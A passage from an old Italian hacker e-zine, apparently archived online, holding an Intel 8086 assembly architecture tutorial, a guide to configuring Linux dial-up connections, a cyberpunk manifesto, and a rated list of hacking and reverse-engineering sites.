programmi, queste istruzioni hanno comunque una precisa corrispondenza con i
byte che compongono i programmi eseguibili e a livello teorico potremmo scrivere
i nostri programmi byte per byte (in ricordo dei vecchi tempi).
Questo tutorial è abbastanza breve, non c'è molto da dire su queste cose che
immagino abbiate già sentito ormai anche dal farmacista, ho ritenuto comunque
utile farlo per un breve ripasso e per completezza.
Per richieste, consigli, suggerimenti, aiuti, contributi, ecc..., contattatemi
b0nu$, Emanuele DelBono
via Bazoli 27
25127 Brescia
Tel 030 - 314591
e-mail : bonus@numerica.it
hAck & c ya :-)


#---[Architettura dei processori Intel]------------------------------+b0nu$+----------#


Architettura dei processori Intel


**********************************

  
* b0nu$ presenta *
* *
* PROGRAMMAZIONE IN ASSEMBLY *
* *
* #3# *
**********************************
Architettura dei processori Intel
===========================================================================
Questi file sono protetti dal diritto d'autore e sono liberamente
riproducibili a condizione di non farne uso comemrciale o economico o per
fine di lucro senza la preventiva autorizzazione dell'autore. In ogni caso
deve sempre essere indicato il nome dell'autore e il suo indirizzo. Ogni
altra modalita' di utilizzo deve considerarsi contraria alla volonta'
dell'Autore.
===========================================================================
Il primo vero microprocessore prodotto dalla Intel è l'8088 che entrò in
produzione nel Giugno del 1978 !!!
L'8088 è un processore a 16 bit con un BUS esterno a 8 bit e con un clock da
4.77MHz (8-|).
Da allora se ne' fatta di strada (basti pensare al processore Pentium a 32 bit)
ma in questo tutorial per capire a grandi linee l'architettura di un processore
Intel farò riferimento all' 8086 (non preoccupatevi tutto quello che dirò vale
anche per i nuovi processori...purtroppo)
Allora per cominciare diamo un'occhiata al disegno qui sotto che rappresenta la
struttura interna di un 8086 :
Bus Dati
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
^ ^ | ^ ^ ^ ^ | ^ ^ ^ |
| | | | | | ----- | V V V |
| | | | | || AX | | BX CX DX |
V V | V | | ----- | |
------ ------ | ------ ------ | | | ------
| SI | | DI | | | SP | | IP | | V V | IR |
------ ------ | ------ ------ | ------ ------ ------
| | | | | | \ \ / / |
| | | | | | \ \/ / |
| | | | | | \ ALU / ------ ----------
| | | | | | \------/--->|FLAG|----->|Control |
| | | | | | | ------ ----------
| | | | | ----------|
| | | | |
V V V V V
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
Bus Indirizzi
Lo schema è abbastanza semplice ma analizziamolo nel dettaglio.
A sinistra ci sono i due registri indice SI (Source Index) e DI (Destination
Index) che vengono utilizzati come puntatori rispettivamente a dati sorgente e
a dati destinazione. Questi sono registri a 16 bit e possono essere utilizzati
anche come registri di OFFSET (Vedremo piu' avanti di cosa si tratta).
Il registro SP è lo Stack Pointer (Puntatore allo Stack). Lo stack è un'area di
memoria in cui si possono memorizzare dei dati da passare alle procedure (o anche
per altri scopi).
La sua struttura è di tipo LIFO (Last In First Out) cioè : l'ultimo inserito è il
primo ad essere estratto.
Vediamo meglio come funziona con un esempio:
Supponiamo di chiamare una funzione che somma due numeri, il prototipo in C
sarebbe:
int Somma (int a,int b);
Ebbene quando viene chiamata la procedura i due addendi vengono salvati nello
stack tramite l'operazione che prende il nome di PUSH , quindi:
|______|
| |
|______|
SP --> | b |
|______|
| a |
|______|
Ora la procedura preleverà i due numeri dallo Stack con l'operazione di POP
(attenzione all'ordine in cui vengono prelevati : prima b poi a !!!) ne
effettuerà la somma e riporrà il risultato nello Stack:

|______|
SP --> | ris |
|______| ris = a + b


A questo punto il programma chiamante dovrà solo prelevare il risultato dallo
stack.
In realtà quando si chiama una procedura oltre ai parametri nello stack si
salvano anche cose come ad esempio l'indirizzo della chiamata per poterci
tornare una volta finita la procedura e altri registri necessari a ripristinare
il flusso del programma.
C'è da sottolineare che il contenuto dello Stack Pointer viene aggiornato
automaticamente dalla CPU quando si eseguono le operazioni di PUSH e di POP e
non andrebbe modificato manualmente a meno di sapere bene cosa si sta facendo!!
Il registro IP (Instruction Pointer) contiene l'indirizzo della prossima
istruzione da eseguire e il registro IR (Instruction Register) tiene il codice
dell'istruzione in esecuzione, insieme eseguono il fetch dell'istruzione da
eseguire :
IR <- [[IP]] ; metto in IR il dato puntato dal contenuto di IP
IP <- [IP] + 1 ; incremento il contenuto di IP
Per chi non lo sapesse il fetch dell'istruzione consiste nel prelevamento e
riconoscimento dell'istruzione da eseguire.
Tutti i microprocessori Intel sono strutturati come una catena di montaggio
suddivisa in stadi successivi, la CPU legge i codici operativi (OPCODE) delle
istruzioni qualche ciclo di clock prima della loro reale esecuzione e sfrutta
questo intervallo per eseguire la decodifica (oltre a qualche altro calcolo
accessorio). Le istruzioni lette vengono messe nella PREFETCH QUEUE formata
appunto da tutte le istruzioni lette ma non ancora eseguite, la dimensione
della coda influisce sulla velocità (+ grande --> + veloce) anche se oltre un
certo valore non si registra alcun miglioramento.
Le dimensioni della Prefetch Queue di un 8088 erano di 4 byte, quella di un 486
è di 32 byte.
I registri IP e IR non sono direttamente accessibili dal programma, anche se IP
può essere indirettamente modificato tramite istruzioni di salto.
Ci sono poi i registri General Purpose : AX, BX, CX, DX che possono essere usati
dai nostri programmi per memorizzare dati, puntatori e risultati.
AX - E' un registro a 16 bit divisibile in due registri a 8 bit : AH, AL in
questo modo

---------------------------------
| | | | | | | | | | | | | | | | |
---------------------------------
|_____AH_______||_____AL________|
|_______________AX________________|
AX viene usato come destinazione nei calcoli matematici ( viene chiamato
accumulatore). Va notato che cambiando il valore di AH e/o AL viene anche
modificato il valore di AX !!
BX - Come AX si divide in BH e BL può essere usato come registro di OFFSET o
come registro indice.
CX - (CH/CL) 16 bit (8+8) viene spesso usato come contatore nei cicli, infatti
l'istruzione LOOP (che vedremo piu' avanti) decrementa il valore di CX fino a
quando è uguale a zero.
DX - (DH/DL) 16 bit (8+8) viene usato come contenitore per il resto nelle
divisioni o nel caso di operazioni a 32 bit per contenere la parte alta del
risultato. Inoltre viene usato come puntatore nelle operazioni di Input e
Output.
Oltre a questi registri presenti nello schema ne esistono altri:
BP - (Base Pointer 16 bit) Viene usato come puntatore alla base dello stack.
Registri di Segmento:
CS - Code Segment : punta alla zona di memoria che contiene il codice, durante
l'esecuzione del programma contiene la prossima istruzione da eseguire.
(Attenzione: non può essere modificato)
DS - Data Segment : punta alla zona di memoria adibita al contenimento dei dati
ES - Extra Segment : lo dice il nome, può essere usato come registro di segmento
ausiliario.
SS - Stack Segment : punta alla zona di memoria in cui risiede lo
stack.Attenzione a "giocare" con questo segmento!!
Per processori 386 e superiori esistono altri due registri di segmento FS e GS
che possono essere usati come supporto per le operazioni.
Esiste inoltre il registro di FLAG in cui vengono riportate alcune informazioni
circa le istruzioni in svolgimento, la sua struttura è la seguente:

_______________________________________
|11|10|F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0|
---------------------------------------
| | | | | | | | | | | | | | | | | +--- CF Carry Flag
| | | | | | | | | | | | | | | | +----- 1
| | | | | | | | | | | | | | | +------- PF Parity Flag
| | | | | | | | | | | | | | +--------- 0
| | | | | | | | | | | | | +----------- AF Auxiliary Flag
| | | | | | | | | | | | +------------- 0
| | | | | | | | | | | +--------------- ZF Zero Flag
| | | | | | | | | | +----------------- SF Sign Flag
| | | | | | | | | +------------------- TF Trap Flag (Single Step)
| | | | | | | | +--------------------- IF Interrupt Flag
| | | | | | | +----------------------- DF Direction Flag
| | | | | | +------------------------- OF Overflow flag
| | | | +----------------------------- IOPL I/O Privil. Level(286+ only)
| | | +------------------------------- NT Nested Task Flag (286+ only)
| | +--------------------------------- 0
| +----------------------------------- RF Resume Flag (386+ only)
+-------------------------------------- VM Virtual Mode Flag (386+ only)
Così se ad esempio dopo una sottrazione matematica il risultato è zero il bit
relativo allo Zero Flag (bit 6)viene settato a 1.
Nei processori 386 e superiori sono presenti registri a 32 bit (!)con le
funzionalità di quelli visti essi sono : EAX, EBX, ECX, EDX, ESI, EDI, EBP,
CR0,CR2, CR3, DR0, DR1, DR2, DR3, DR6, DR7, dove CR sta per Control Register
e DR Debug Register.
Nei programmi posso comunque usare AX che viene considerato come registro a 16
bit.
Dalla generazione 486 in poi sono stati aggiunti : TR3, TR4, TR5 (Test
Register).
SEGMENTO e OFFSET
Vi prego di prestare molta attenzione a questo argomento che ritengo di cruciale
importanza: il modo in cui la CPU vede ed accede alla memoria.
I progettisti dei processori 8088 e 8086 nati anni e anni fa non potevano
prevedere (???) che la tecnologia arrivasse a costruire macchine dotate di
decine di MegaByte di memoria e cosi si sono limitati a progettare una CPU che
riuscisse ad indirizzare solo un misero MegaByte :-(
Per indirizzare 1Mb sono necessari 20 bit (2 ^ 20 = 1Mb) e noi abbiamo a
disposizione solo registri a 16 bit, e allora come facciamo ?
La soluzione adottata dai progettisti del'Intel è quella di adottare un
indirizzo costituito da 2 parti : un SEGMENTO e un OFFSET di 16 bit ciascuno ,
che uniti nel giusto modo danno origine all'indirizzo effettivo. Vediamo un
esempio.
L'indirizzo 21F2:C01E è nella forma SEGMENT:OFFSET (gli indirizzi vengono dati
sempre in base esadecimale per facilitare i calcoli) dove il segmento vale 21F2
e l'offset C01E entrambi di 16 bit, quindi un totale di 32 bit che non sono
tutti necessari per indirizzare un solo Mega di memoria, e qui sta il bello !!!
L'indirizzo nella forma SEG:OFF viene "trattato" per dare origine al vero
indirizzo cioè il segmento viene moltiplicato per 16 (10h) e il risultato viene
sommato all'offset. Nell'esempio precedente:
21F2 * 10 = 21F20 +
C0E1 =
------
2E001
Otteniamo così un indirizzo a 20 bit !! (Semplice vero: beh forse non tanto !).
Spesso invece di moltiplicare il numero per 16 (10h) si effettua uno SHIFT a
sinistra di 4 bit ma come vedremo è la stessa cosa.
Come abbiamo visto prima i registri dedicati a contenere il valore del segmento
so CS,DS,ES e SS, sono registri a 16 bit ciò vuol dire che un segmento è lungo
64Kb.
Del Mega che si può indirizzare se ne può usare solo i primi 640Kb perchè i
rimanenti sono occupati dalla memoria video della VGA (a partire da A000:0000) e
dal BIOS e quindi non ce ne rimane molto !!!
Naturalmente esistono oggi tecniche per andare oltre il Megabyte come il
modo protetto o il metodo di indirizzamento FLAT che vedremo più avanti.
Bene anche questa puntata è terminata abbiamo conosciuto alcuni elementi
fondamentali che ci serviranno per scrivere programmi in Assembly. So che non
vedete l'ora di scriverne uno ma dovete avere un po' di pazienza: per
programmare in Assembly (non mi stancherò mai di ripeterlo) bisogna conoscere a
fondo l'architettura del computer visto che è proprio quello che andiamo a
programmare!!
Per richieste, consigli, suggerimenti, aiuti, contributi, ecc..., contattatemi
b0nu$, Emanuele DelBono
via Bazoli 27
25127 Brescia
Tel 030 - 314591
e-mail :bonus@numerica.it

hAck & c ya :-)



+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+




_____ _ _ _
/ ___| (_) | | (_) BoBo & LaNdo
\ `--. ___ _____ ___ _ __ ___ | | _ _ __ _ ___ __
`--. \/ _ \_ / |/ _ \| '_ \ / _ \ | | | | '_ \| | | \ \/ /
/\__/ / __// /| | (_) | | | | __/ | |___| | | | | |_| |> <
\____/ \___/___|_|\___/|_| |_|\___| \_____/_|_| |_|\__,_/_/\_\




Collegarsi con Linux

Thanks to: PigPen, LoedFelix, Spirit, Tsunami e BlackBox
Norby (il mio maestro hihihi :)) Mandarin3 (Legion of Neptun!! :) e Berseker
[c]b[a], Axe, SoftWord, Manson
Duke_Nuke e tutto il Folug
XEvilStar, MadDog, e tutto il chan #mentor
HH, The_Crow, [astro], e tutto il chan #forlì
BruceLee, ZioMarzo, e BugByte (ma dove sei finito?!?!?)

Per la stesura di questo articolo soprattutto Duke-Nuke, LordFelix, e XevilStar :DD


Collegarsi in Linux è uno dei primi ostacoli che si affronta entrando nel mondo Linuxiano :),
anche se inizialmente possa sembrare difficile, appenqa collegati, vi guarderete indietro e vi
direte: ma che cazzata :DDD
Ci sono vari metodi per farlo....elencherò i più comuni e sicuri.
Prima di iniziare, però, è d'obbligo però parlare di alcuni file....
1° file: /etc/resolv.conf, qui ci stanno i dns del provider isp, cioè il punto di riferimento
dove la nosta macchina andrà a trasformare gli host in ip, e vice-versa (visto che
internet non 'capisce' gli host come pippo.bau, ma solo gli ip come 1.2.3.4)
2° file: /etc/ppp/pap-secret, qui vanno piazzate il login e la pass del vostro account,
in questa forma: login * password
3°file: /etc/ppp/options, qui, evidentemente :), ci vanno le opzioni per il demone pppd, mostrerò
in seguito cosa mettere, xchè ci sono differenze a seconda del metodo che userete.
Premetto anche che dovrete settare la stringa di inizializzazzione modem (vi spigo poi dove).
Questa di default è ATZ, voi mettete ATX3, che è per la
linea italiana (o se no mettete ATX0, che non riconosce proprio la linea, e può essere italiana,
americana..ecc....(tnx LordFelix for this info))
Inoltre quando vi riferite alla porta del modem, vi consiglio sempre ci creare un linuk simbolico
al device della porta, con questo comando: #ln -s /dev/ttyS1 /dev/modem (ricordo che la ttyS1 è
la com2 nel dos, la com 1 è ttyS0....)
Ok...ora cercherò di elencare in modo chiaro e semplice i modi + comuni per collegarsi :)
Il primo, ed anche il + tipico :D, è quello di utilizzare uno script per il pppd.
Dobbiamo però settare 'a dovere' il /etc/ppp/options :) e il /etc/ppp/script (potete chiamarlo
come vi pare...e metterlo dove volete, io ho scelto questo).
Ok, questo è un esempio, le spiegazioni delle righe di script le ho messe tra '#', non mettetele
nel vero script ;D (tnx Duke_Nuke :)

----- Configurazione ppp:

*** /etc/ppp/options:

defaultroute #setta le tabelle di routing di default (cioè quelle
#passategli da provider)
noipdefault
modem
/dev/modem #link simbolico alla ttySx
115200 # velocità di connessione
crtscts
passive
name "nome_utente" #utente con cui ci si collegherà

*** /etc/ppp/pap-secrets:
"nome_utente" * "password"

*** /etc/ppp/pppscript:
TIMEOUT 60 #dice al modem di terminare la connessione oltre i 60s
#di inattività
ABORT ERROR
ABORT BUSY
ABORT "NO CARRIER" #dice al modem di annullare se in risposta questi
#errori: error, busy, no carrier, no dialtone
ABORT "NO DIALTONE"
"" "ATX0"
OK "atdt666" #666 è in numero da chiamare del provider ;D
TIMEOUT 75
CONNECT

*** /etc/resolv.conf
search cacca.net #l'host del provider
nameserver 1.2.3.4 #dns primario
nameserver 1.2.3.5 #dins secondario

Per avviare il tutto dovete digitare: /usr/bin/pppd -detach connect "/usr/sbin/chat -v -f /etc/p
(vi consiglio di fare uno script anche per questo, così
non dovrete riscriverlo tutte le volte)
Il secondo metodo che si può usare è per i sistemi in X, con i famosi kppp e gppp. Io uso il
kppp, ma il gppp non deve essere tanto diverso.....
Andiamo sulla K > Internet > Kppp. Ora accounts > nuovo.
Nome connessione: quellochevolete
Numero Tel: il tel del vostro provider.
Autenticazione: PAP
Andate su Ip e selezionate Indirizzo dinamico. Su DNS aggiungete il DNS del vs. provider, e selezionatelo. Su Gateway, selezionate Gateway predefinito. Su script di accesso lasciate tutto com'e'. Su costi telefonici Italy > TUT e premete OK
Andate su Modem e come porta selezionate /dev/ttyS1
Velocità 115200.
Poi andate su Comandi Modem: e nella Stringa di inizializzazione al posto di ATZ scrivete ATX3&F e su Stringa di chiamata sostituite ad ATDT ATX3DT.
Col mio modem riesco a connettermi, se avete problemi andate a controllare sul libretto del vs modem. Premete OK.
Ritornati al kppp inserite user e passwd, e BUONA NAVIGAZIONE
Il terzo ed ultimo metodo, ed anche il mio preferito ;)), è quello di utilizzare un programma
apposito, come minicom o altri, io preferisco il wvdial (tnx xevilstar :), facilmente reperibile
a www.freshmeat.net. Basta compilarlo con 'make' e 'make install'. Poi cerare un file di
configurazione...io ho scelto /etc/wvdial.conf, e lanciare (da /usr/local/bin, o dove l'avete
compilato) questo comando: ./wvdialconf /etc/wvdial.conf, col modem acceso ;), e poi, dopo che
il wvdialconf ha riconosciuto il modem, ./wvdial, e aspettate di essere on-line. Questo può
essere un esepio di wvdial.conf (anche qui i '#' sono commenti, toglieteli nel vero):
[Dialer Defaults]
Modem = /dev/modem #device modem
Baud = 57600 #velocità modem
Init = ATX0 #stringa di inizializz
Init2 = ATX3 #'' " '' 2
Phone = 666 #telefono
Username = cazwar #user
Password = my-password #pass
Per controllare di essere veramente collegati fare un ping a un qualsiasi host.
Questi tre metodi sono semplici, ma con caratteristiche diverse: il primo è il più 'spartano',
per molti il più veloce, e sicuramete molto efficente e usato da tanti utenti Linux; il secondo
è forse il più comodo per chi usa X, ma molti lo considerano troppo lento. Io preferisco il
terzo, perchè è una via di mezzo fra i 2: abbastanza veloce e facilmente configurabile.

Liquid, the SkySpirit
liquido@freemail.it



La Shell



Be' inanzitutto bisogna chiarire una piccola questione che sicuramente nella mente dei nostri Wannabe .
Una brutto vizio delle zine è di non tener conto che chi le prende in mano , non sempre ha delle basi sugli argomenti trattati e un'altrettanto brutto vizio dei wannabe è quello di credere che basta prendere una zine o un doc qualsiasi dai siti informativi riguardanti l'Hacking per sapere tutto .
Per venire incontro ai nostri lettori abbiamo deciso di scrivere oltre a degli articoli stesi in "modo tecnico" anche degli altri che trattano gli argomenti in modo più "esplicativo" soffermandosi in modo più approfondito su quei concetti ritenuti fondamentali per completa comprensione delle informazioni di natura tecnica .

-=La Shell =-

la shel è il tramite tra voi ed il kernel ; quando voi digitate sulk prompt del vostro sistema operativo preferito ( linux ovviamente ! ;) ) interagite tramite la shell per impartire i comandi . Essa è una sorta di archivio di tutti i comandi che potete impartire al Kernel ; come è facilmente intuibile i comandi impartibili cambiano a seconda della shell usata e

_ \_) _| | _) _) | |
/ | _| | -_)(_-<(_-< | _ \ \ | _` | -_) |
_|_\_|_| _|\___|___/___/_|\___/_| _|_| \__,_|\___|_|BoBo & LaNdo

\ \ / | | _| _|
\ \ \ / _` | \ \ _` | _ \ -_) (_-< _| _` | _| _|
\_/\_/\__,_|_| _|_| _|\__,_|_.__/\___| ___/\__|\__,_|_| _|




Manifesto Hacker and CyberPunk di Away

Siamo le MENTI ELETTRONICHE, un gruppo di liberi pensatori ribelli. Cyberpunk. Viviamo nel cyberspazio, siamo dappertutto, non conosciamo frontiere. Questo e' il nostro manifesto. Il manifesto del cyberpunk.Siamo quelli, i Diversi. Ratti tecnologici, che nuotano nell'oceano dell'informazione. Siamo quelli schivi, i ragazzini a scuola che siedono nell'ultimo banco, nell'angolo della classe. Siamo i giovani che tutti considerano strani. Siamo gli studenti che hackano i sistemi, che esplorano la profondita' della sua portata. Siamo quelli cresciuti nel parco, seduti su una panchina, con il portatile sulle ginocchia, che programmano l'ultima realta' virtuale. Nostro e' il garage, riempito di aggeggi elettronici. Il saldatore nell'angolo della scrivania e vicino la radio smontata - anche queste cose sono nostre. Nostra e' la cantina con il computer, la stampante che ronza e il modem che fa beep. Siamo quelli che vedono la realta' in un modo diverso. Il nostro punto di vista mostra piu' di quello che la gente normale vede. Essi vedono solo quello che e' esternamente, ma noi vediamo dentro. Questo e' quello che siamo, realisti con gli occhiali dei sognatori. Siamo quelle strane persone, per la maggior parte sconosciute ai vicini. Gente, assorta nei suoi pensieri, che siede tutti i giorni davanti al computer, che mette a soqquadro la rete per qualcosa. Non usciamo spesso, solo di tanto in tanto, solo per andare al vicino negozio di radiofonia, o al solito bar per incontrare i pochi amici che abbiamo, o per incontrare un cliente, o dal farmacista... o solo per una passeggiata. Non abbiamo molti amici, solo alcuni con cui andare alle feste. Tutti gli altri che conosciamo, li conosciamo sulla rete. I nostri veri amici sono li', all'altro capo del filo. Li conosciamo con il nostro canale di irc preferito, con i news-groups, con i sistemi nei quali cazzeggiamo. Siamo quelli a cui non importa cio' che gli altri pensano di noi, non ci importa di come sembriamo o cosa la gente dice in nostra assenza. La societa' non ci capisce, noi siamo "strani" e "pazzi" agli occhi della gente normale che vive lontano dalla libera informazione e dalle libere idee. La societa' impedisce la nostra corrente di pensiero - una societa' che vive, pensa e respira in una unica maniera - uno stereotipo. Ci rinnegano perche' pensiamo come gente libera, e il libero pensiero e' proibito. Il cyberpunk ha apparenze esteriori, e' non-movimento. I cyberpunks sono persone, che partono dalla normalita', sconosciute agli altri, all'artista tecno-maniaco, al musicista, allo studente superficiale, che suonano musica elettronica. Il cyberpunk non e' piu' un genere letterario, nemmeno una normale sottocultura. Il cyberpunk e' una nuova cultura della solitudine, figlia di una nuova generazione. Una cultura che unsce i nostri interessi e i nostri punti di vista. Siamo un'unita'. Siamo Cyberpunks



+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+



___ ___ ___ ___
/\__\ ___ /\__\ /\__\ /\ \BoBo & LaNdo
/:/ / /\ \ /::| | /:/ / \:\ \
/:/ / \:\ \ /:|:| | /:/__/ \:\ \
/:/ / /::\__\ /:/|:| |__ /::\__\____ \:\ \
/:/__/ __/:/\/__/ /:/ |:| /\__\ /:/\:::::\__\ _______\:\__\
\:\ \ /\/:/ / \/__|:|/:/ / \/_|:|~~|~ \::::::::/__/
\:\ \ \::/__/ |:/:/ / |:| | \:\~~\~~
\:\ \ \:\__\ |::/ / |:| | \:\ \
\:\__\ \/__/ /:/ / |:| | \:\__\
\/__/ \/__/ \|__| \/__/




LINKZ: by Reset (Attila_Hack MemberZ)
* Fa schifo lo metto solo per prenderlo per il culo
** ...ehmm meglio di niente
*** discreto
**** buono
***** sito ottimo
****** figaxxata di sito (questo sito cià i controca**i)

Spaghetti Phreakers *****
Il creatore del John the ripper ******
bfi *****************
Il grande Cavallo de Cavallis *****
Gli Spippolatori *****
MrZero ****
Il sito di Kalidor ******
RingZ3r0 (Reverse engineering) **********
Drac (Sito ricco di crackz) ******
Il Sito del Grande Quequero: (Un sito di un nostro MemberZ che smanetta
molto con il Reverse Engineering! Se non andate a vederlo siete morti!!!!!!) ***************

Valvoline crew: (Il sito dei nostri amici Valvoline,
Visitare Pleeese!!!!) ******************
Il sito di b0nu$: (Un altro sito di un nostro MemberZ
che smanetta molto con l'Assembler, assolutamente da visitare!) *****************
Boozed Toxin: Il sito di T0rment0 che sforna una nuova e-zine
AntiSocial ****

The Pac-Man ****
Anarchy in the system ***** (sito che sforna la rivista Anarchy in the
system) ****
Insecure ****
ZioMarzo **** (ancora in allestimento)
Dislessici **********
Artemis ****
LeLe ****
Bobbymetal ***

Questa volta solo siti caxxuti:) Hi all - Reset (Attila-Hack MemberZ)
P.S. Se me ne sono perso qualcuno, scrivete a attila_hack@hotmail.com e provvederò ;-).


























← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT